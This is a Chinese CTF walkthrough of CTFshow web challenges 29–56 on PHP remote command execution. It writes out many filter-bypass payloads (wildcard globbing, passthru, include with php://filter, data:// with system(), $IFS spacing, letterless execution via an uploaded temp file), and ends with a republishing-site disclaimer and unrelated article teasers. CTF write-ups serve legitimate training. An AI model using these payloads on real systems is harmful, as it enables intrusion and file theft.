CTFshow—远程命令执行

29-35

Web29

代码利用正则匹配过滤了flag,后面加了/i所以不区分大小写。

可以利用通配符绕过

匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
 

?c=system('cat f*');//glob1
?c=system('cat f?ag.php');//glob2
?c=system('cat f\lag.php');//转义字符实现绕过
?c=system("cat f''lag.php");
?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤

Web30

和上一题差不多就是多了system和php的过滤,system用passthru代替即可。

?c=passthru('cat fla?.p?p');

Web31

这题多了cat、空格、单引号、逗号的过滤。

cat代替命令
(1)more:一页一页的显示档案内容

(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页

(3)head:查看头几行

(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

(5)tail:查看尾几行

(6)nl:显示的时候,顺便输出行号

(7)od:以二进制的方式读取档案内容

(8)vi:一种编辑器,这个也可以查看

(9)vim:一种编辑器,这个也可以查看

(10)sort:可以查看

(11)uniq:可以查看

(12)file -f:报错出具体内容

空格代替
<,<>,%20(space),%09(tab),$IFS$9, I F S , {IFS},IFS,IFS

?c=passthru("more%09fla*");

Web32

这题过滤多了 ; 和 ( 。分号我们可以用 ?> 代替,因为php中最后一句代码可以不用加 ;,但是 ( 被过滤了也就意味着不能用命令执行函数了,因为命令执行函数都要使用到括号。

这里我们可以使用文件包含函数,如include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile,PHP中文件包含函数可以不用使用括号。

payload如下,解释一下啥意思,使用include函数包含参数1,而参数1是通过get获取的flag.php。

php:///filter:是 PHP 中用于数据流处理的流封装协议之一,它允许你在读取或写入文件时,通过指定的过滤器对数据进行处理。

read=convert.base64-encode:这部分指定了过滤器类型为读取(read)操作,并且使用convert.base64-encode过滤器对数据进行 Base64 编码。Base64 编码是一种将二进制数据转换为 ASCII 字符串的方法,常用于在需要文本表示二进制数据的场合。

resource=:这部分后面应该跟上你想要读取并编码的文件路径

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

返回的数据是base64编码,拿去解码即可。

Web33

和上一题并无啥区别,多了双引号的过滤,但是我们上一题的poyload并无用到双引号,所以直接套用上一题的payload即可。

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Web34

观察了一下,只是多了冒号的过滤,上一题的payload我们没有用到冒号,所以继续套用即可。

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

Web35

过滤多了左尖括号和等于号,无所谓,依旧套用payload即可。

?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

36-40

Web36

这题过滤了0-9数字,我还想这个%0a改用什么代替呢,一查原来include函数不需要空格也行,那不就好办了吗,直接套用web35的payload即可,去掉%0a,把参数1改为字母就行。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Web37

这题是通过C传参,接着使用include包含C,也就是把C的文件内容显示到页面上面,但是过滤了flag。我们可以用data伪协议,伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行,也就是说我们可以通过data伪协议造成rce。

data://协议用法:
data://text/plain,
data://text/plain;base64,

payload

?c=data://text/plain,<?php system("cat f*")?>

Web38

这题多了对php的过滤,直接套用上一题的payload坑定是不行了,查了一下原来在PHP中居然可以使用短标签 = 代替php,而且php不是必须的可以去掉,逆天了。

?c=data://text/plain,<?=system("cat f*")?>

Web39

这题没啥难度,就是拼接了个php,问题不大,直接套用上一题的payload即可。

?c=data://text/plain,<?=system("cat f*")?>

Web40

这题难度就上来了,可以看到几乎把所有的字符都过滤,只留下一个英文的括号。

这题要使用很多函数,我们先来了解一下。

print_r()函数不用多说,函数用于打印变量,作用对象是变量。

scandir()函数函数会扫描这个目录,并返回一个包含目录中所有文件和目录名的数组,也就是说scandir()会列出当前目录下的文件。

那么我们可以使用print_r(scandir('.'))来列出当前目录下的所有文件,并且打印在web页面。但是单引号和小数点都被过滤了,我们这里要找其他的函数来代替。

通过查找我们得知

localeconv():返回包含本地数字及货币信息格式的数组,其中数组中的第一个为点号(.)

那不妨这样子想,如果我们能找到一个函数截取localeconv()的值,使其只返回第一个值那我们不就得到小数点了吗?

pos() 和current() 函数返回数组中的当前元素(单元),默认取第一个值。

此时我们可以打印出当前目录下的文件名,无需单引号也行好像。

?c=print_r(scandir(pos(localeconv())));

OK,现在的问题是怎么读取文件里面的内容呢,通过查阅得知,

next():函数将内部指针指向数组中的下一个元素,并输出。

但是通过我们刚刚列出来的数组得知目前的顺序是 ".","..","flag.php","index.php",那我们直接把它们的顺序调换不就刚刚好吗,也就是"index.php","flag.php","..",".",那么此时next()函数指向的下一个刚好是flag.php。

通过查找

array_reverse():数组逆序,将文件目录反转。

此时我们便可以构造payload。

?c=print_r(next(array_reverse(scandir(current(localeconv())))));

但依旧不行,因为print_r函数打印的是变量,而我们要输出的是文件,于是我们这里就只能用show_source或者highlight_file。

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

41-45

Web41

没复现出来

Web42

这题会对我们输入的参数拼接一个重定向,解释一下

> 代表重定向到哪里
/dev/null 代表空设备文件
2> 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
1 表示stdout标准输出,系统默认值是1,所以>/dev/null等同于 1>/dev/null
因此,>/dev/null 2>&1 也可以写成1> /dev/null 2> &1

1> /dev/null:首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任1何信息。
2> &1:接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

所以我们直接截断后面的语句即可。

?c=cat flag.php%0a
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php;

Web43

和上题目一摸一样的,只不过是多了cat的过滤,我们直接换成more即可。

Web44

多了flag的过滤,用我们上面说过的正则绕过即可。

?c=more%20fla*||

Web45

这题多了分号和空格的过滤。我们直接用%09代替空格即可

?c=more%09fla*||

46-50

Web46

过滤了数字和*,但是%09还能用。

?c=more%09fl?g.php||

Web47

这题对好几个查看flag的命令都做了过滤,但是没有过滤tac。

?c=tac%09fl?g.php||

Web48

依旧没有过滤tac,直接套用上一题的payload即可。

Web49

还是上一题的payload

Web50

这题多了对%过滤也就是说%09不能用了,那我们用<去代替空格即可,奇怪的是用?通配符不知道为啥不行。

c=tac<fl?g.php||

要用 ' ' 才行,对php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。

c=tac<fl''ag.php||

51-55

Web51

这题多了tac的过滤,用nl命令代替即可。

c=nl<>fl""ag.php||

Web52

这题多了尖括号的过滤。

一开始直接查看flag,发现不对,说明真正的flag文件不在这个目录。

c=nl${IFS}fl""ag.php||

看一下根目录,发现根目录有个flag

c=ls${IFS}/||

直接查看根目录的flag即可。

?c=nl${IFS}/fl""ag||

Web53

没啥好讲的

c=nl${IFS}fl""ag.php

Web54

这题过滤了很多东西,flag不能用 * 或者 ' ' 来绕过了,nl也被过滤了,但是我们可以用uniq代替。

c=uniq${IFS}f???.php

Web55

过滤了字母,但是没有过滤数字,可以用base64编码,相当于调用/bin目录下的base64编码程序对flag.php进行编码输出

c=/???/????64%20????.???
等同于c=/bin/base64 flag.php

Web46

这题的难度也是直线上升好吧,可以看到数字和字母都过滤了,还有一些特殊符号也是过滤掉了。

但是没有过滤小数点,在linux中以 . /file 这样的方式来执行文件的话,file是不需要有x权限的,而且会用bash去执行file中的命令。那么我们如果上传一个可控文件,再往里面写入一个命令,那么不就是可以rce了吗。

这篇文章写的很好,可以看一下。

无字母数字webshell之提高篇 | 离别歌

那么我们该如何去表示出我们的文件,因为过滤了字母。在PHP上传的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。


?c=.%20/???/????????[@-[]

先构造一个上传页面。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

抓包进行修改。

往文件中添加命令。

#!/bin/sh
ls

读取flag,如果发包没有回显flag,多发几次即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/947423.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

idea 的 springboot项目spring-boot-devtools 自动编译 配置热部署

1&#xff0c;设置一 2&#xff0c;设置二 设置二&#xff08;旧版本&#xff09; CtrlShiftAlt/ 点击弹出框中Registry... 引入&#xff08;如果报错&#xff0c;换不同的版本&#xff09; <dependency><groupId>org.springframework.boot</groupId><a…

Github拉取项目报错解决

前言 昨天在拉取github上面的项目报错了&#xff0c;有好几个月没用github了&#xff0c;命令如下&#xff1a; git clone gitgithub.com:zhszstudy/git-test.git报错信息&#xff1a; ssh: connect to host github.com port 22: Connection timed out fatal: Could not rea…

TypeScript 常用类型

文章目录 1. 类型注解2. 原始类型3. 数组类型4. 联合类型5. 类型别名6. 函数类型7. 对象类型8. 接口类型8.1 接口声明8.2 接口继承 9. 元组类型10. 类型断言11. 字面量类型12. 枚举类型12.1 数字枚举12.2 字符串枚举 13. any 类型14. typeof 运算符 1. 类型注解 前言&#xff1…

ARM200~500部署

前提&#xff1a;数据库已经安装好&#xff0c;并且正常运行 1.修改hostname,将里面的AR-A 改为hzx vi /etc/hostname 2.重启网络服务 sudo systemctl restart NetworkManager 3.修改community-admin.service 文件&#xff0c;更改小区名称和IP&#xff0c;并将文件上传到/…

Linux buildroot和ubuntu的异同点

Buildroot 和 Ubuntu 都是 Linux 系统的操作环境,但它们的设计理念和使用场景有很大的不同。 一、定义与目标 Buildroot Buildroot 是一个用于生成嵌入式 Linux 系统的工具集,专注于交叉编译和构建嵌入式设备的最小 Linux 环境。它的目标是为嵌入式系统提供定制化和优化的…

从0开始的opencv之旅(1)cv::Mat的使用

目录 Mat 存储方法 创建一个指定像素方式的图像。 尽管我们完全可以把cv::Mat当作一个黑盒&#xff0c;但是笔者的建议是仍然要深入理解和学习cv::Mat自身的构造逻辑和存储原理&#xff0c;这样在查找问题&#xff0c;或者是遇到一些奇奇怪怪的图像显示问题的时候能够快速的想…

免登录游客卡密发放系统PHP网站源码

源码介绍&#xff1a; 这是一个简单易用的卡密验证系统&#xff0c;主要功能包括&#xff1a; 卡密管理和验证&#xff0c;多模板支持&#xff0c;响应式设计&#xff0c;验证码保护&#xff0c;防刷机制&#xff0c;简洁的用户界面&#xff0c; 支持自定义模板&#xff0c;移…

LeetCode - 初级算法 数组(旋转数组)

旋转数组 这篇文章讨论如何通过编程实现数组元素的旋转操作。 免责声明:本文来源于个人知识与公开资料,仅用于学术交流。 描述 给定一个整数数组 nums,将数组中的元素向右轮转 k 个位置,其中 k 是非负数。 示例: 输入: nums = [1,2,3,

BOC调制信号matlab性能仿真分析,对比功率谱,自相关性以及抗干扰性

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 2.算法运行软件版本 matlab2022a 3.部分核心程序 &#xff08;完整版代码包含详细中文注释和操作步骤视频&#xff09…

【从零开始入门unity游戏开发之——C#篇41】C#迭代器(Iterator)——自定义类实现 foreach 操作

文章目录 前言一、什么是迭代器&#xff1f;二、标准迭代器的实现方法1、自定义一个类CustomList2、让CustomList继承IEnumerable接口3、再继承IEnumerator接口4、完善迭代器功能5、**foreach遍历的本质**&#xff1a;6、在Reset方法里把光标复原 三、用yield return语法糖实现…

WordPress新安装只安装主题后发现只有首页能打开,其他路由页面都是404,并且Elementor都打不开

找到wordpress安装路径的这个文件&#xff0c;有发现里面没有内容&#xff0c;添加下面内容保存&#xff0c;重启服务器即可 # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ – [L] RewriteCond %{REQUEST_FILEN…

uniapp中使用ruoyiPlus中的加密使用(crypto-js)

package.json中添加 "crypto-js": "^4.2.0", "jsencrypt": "^3.3.2",但是vue2中使用 import CryptoJS from cryptojs; 这一步就会报错 参照 参照这里&#xff1a;vue2使用CryptoJS实现信息加解密 根目录下的js文档中新增一个AESwork.…

无需训练!多提示视频生成最新SOTA!港中文腾讯等发布DiTCtrl:基于MM-DiT架构

文章链接&#xff1a;https://arxiv.org/pdf/2412.18597 项目链接&#xff1a;https://github.com/TencentARC/DiTCtrl 亮点直击 DiTCtrl&#xff0c;这是一种基于MM-DiT架构的、首次无需调优的多提示视频生成方法。本文的方法结合了新颖的KV共享机制和隐混合策略&#xff0c;使…

RabbitMQ基础篇之快速入门

文章目录 一、目标需求二、RabbitMQ 控制台操作步骤1.创建队列2.交换机概述3.向交换机发送消息4.结果分析5.消息丢失原因 三、绑定交换机与队列四、测试消息发送五、消息查看六、结论 一、目标需求 新建队列&#xff1a;创建 hello.queue1 和 hello.queue2 两个队列。消息发送…

ESP32S3 + IDF 5.2.2 扫描WiFi

ESP32S3 IDF 5.2.2 扫描WiFi 目录 1 资料 2 通过Wi-Fi库扫描附近的网络 2.1 通过idf命令创建工程 2.2 编写测试用例 2.3 优化测试用例 3 小结 1 资料 在ESP平台基于IDF开发WiFi相关功能&#xff0c;主要就是基于IDF的Wi-Fi库进行二次开发。可供参考的官方资料&#xff…

2025-1-2-sklearn学习(30)模型选择与评估-验证曲线: 绘制分数以评估模型 真珠帘卷玉楼空,天淡银河垂地。

文章目录 sklearn学习(30) 模型选择与评估-验证曲线: 绘制分数以评估模型30.1. 验证曲线30.2. 学习曲线 sklearn学习(30) 模型选择与评估-验证曲线: 绘制分数以评估模型 文章参考网站&#xff1a; https://sklearn.apachecn.org/ 和 https://scikit-learn.org/stable/ 每种估…

统信系统设置代理的问题

统信系统设置代理的问题 问题表现方式一方式二 问题表现 统信系统下有系统代理和应用代理两个代理。设置系统代理时&#xff0c;git不能经过代理拉取代码。但是设置应用代理时&#xff0c;可以用git通过代理拉代码。 这是系统代理&#xff0c;在这里设置 ip 端口&#xff0c;…

STM32-笔记19-串口打印功能

复制项目文件夹03-流水灯&#xff0c;重命名为19-串口打印功能 打开项目 在主函数中&#xff0c;添加头文件、和串口初始化函数&#xff08;设置波特率&#xff09;和输出函数&#xff0c;如图所示&#xff1a; 软件部分就设置好了 下面是硬件部分 接线&#xff1a;使用USB…

JavaWeb——MySQL-DML(1/3)-添加数据insert(DML 操作概述、INSERT 语句插入数据、语句演示、总结)

目录 DML 操作概述 INSERT 语句插入数据 INSERT 语句基础语法 INSERT 语句演示 注意事项 总结 DML 操作概述 DML 简介 DML&#xff08;Data Manipulation Language&#xff09;即数据操作语言&#xff0c;用于对数据库表中的数据进行增删改操作&#xff0c;包括添加数据&…

Docker图形化界面工具Portainer最佳实践

前言 安装Portainer 实践-基于Portainer安装redis-sentinel部署 Spring Boot集成Redis Sentinel 前言 本篇文章笔者推荐一个笔者最常用的docker图形化管理工具——Portainer。 安装Portainer 编写docker-compose文件 Portainer部署的步骤比较简单&#xff0c;我们还是以…